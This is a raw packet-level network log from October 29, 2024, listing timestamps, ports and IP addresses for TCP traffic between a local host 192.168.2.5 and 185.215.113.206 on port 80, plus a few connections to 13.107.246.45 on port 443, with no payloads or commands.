Oct 29, 2024 20:34:56.447369099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447395086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447398901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447427988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447433949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447459936 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447465897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447491884 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447496891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447525024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447536945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447560072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447588921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447618961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447622061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447618961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447618961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447654009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447658062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447685957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447694063 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447719097 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447724104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447751999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447757006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447784901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447792053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447817087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447823048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447850943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447854042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447885036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447886944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447917938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448050022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448081970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448096991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448131084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448136091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448168993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448178053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448201895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448204994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448240042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448246002 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448280096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448287010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448311090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448318958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448344946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448344946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448379993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.448381901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.448421955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.449841976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449861050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449872017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449886084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.449901104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.449908018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.449959040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449969053 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449979067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.449997902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450002909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.450009108 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450020075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450028896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.450030088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450042009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450047970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.450052023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450064898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450072050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.450074911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450084925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.450098038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.450117111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.453341007 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.453352928 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.453362942 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.453411102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.453442097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454618931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454677105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454708099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454719067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454730988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454741955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454741955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454760075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454762936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454771996 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454780102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454788923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454798937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454809904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454811096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454819918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454829931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454832077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454843044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454849958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454881907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454894066 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454905033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454916954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454929113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454929113 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454938889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454951048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454953909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454961061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454969883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.454972029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.454993963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.455018044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595200062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595228910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595242977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595319986 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595345974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595355988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595371008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595383883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595386028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595396042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595407963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595413923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595436096 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595458031 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595460892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595469952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595489025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595499039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595500946 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595518112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595529079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595540047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595544100 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595570087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595581055 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595591068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595602036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595622063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595633984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595643997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595655918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595666885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595668077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595679998 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595700979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595721006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.595958948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595978022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595992088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.595998049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596029043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596067905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596080065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596091986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596103907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596106052 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596115112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596129894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596134901 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596159935 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596188068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596200943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596215963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596225977 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596237898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596240997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596251011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596261024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596267939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596272945 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596287966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596313953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596487045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596499920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596512079 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596528053 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596530914 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596543074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596554041 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596554995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596590996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596601009 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:56.596668005 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:56.596698999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596718073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596730947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596741915 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:56.596771002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596772909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596786022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596808910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596832037 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596857071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596875906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596888065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596893072 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596899986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596906900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596911907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596920967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.596925020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596934080 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.596961021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597091913 CET	49705	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:34:56.597110987 CET	443	49705	13.107.246.45	192.168.2.5
Oct 29, 2024 20:34:56.597202063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597251892 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597297907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597309113 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597321987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597341061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597343922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597352982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597364902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597369909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597377062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597388983 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597395897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597402096 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597419024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597424984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597429991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597441912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597443104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597455025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597465992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597492933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597517967 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597529888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597538948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597552061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597557068 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597563028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597570896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597575903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597588062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597599030 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597603083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597626925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597628117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597652912 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597670078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597672939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597681999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597707987 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597713947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597724915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.597748995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.597774029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598539114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598587036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598591089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598623991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598649979 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598663092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598676920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598686934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598701000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598720074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598731041 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598742008 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598752975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598766088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598766088 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598786116 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598795891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598850965 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598862886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598874092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598886013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598891020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598897934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598902941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598910093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598927975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598932981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598939896 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598956108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598957062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598968029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598978043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.598979950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.598990917 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.599003077 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.599005938 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.599015951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.599026918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.599030972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.599041939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.599050045 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.599065065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.599087000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600497961 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600509882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600521088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600533962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600550890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600553989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600564957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600575924 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600579023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600588083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600593090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600600004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600610971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600613117 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600621939 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600632906 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600640059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600646019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600662947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600678921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600682020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600689888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600699902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600711107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600719929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600723028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600735903 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600745916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600748062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600770950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600786924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600820065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600831985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600841999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600858927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600860119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600872993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600878000 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600892067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.600900888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.600904942 CET	80	49704	185.215.113.206	192.168.2.5
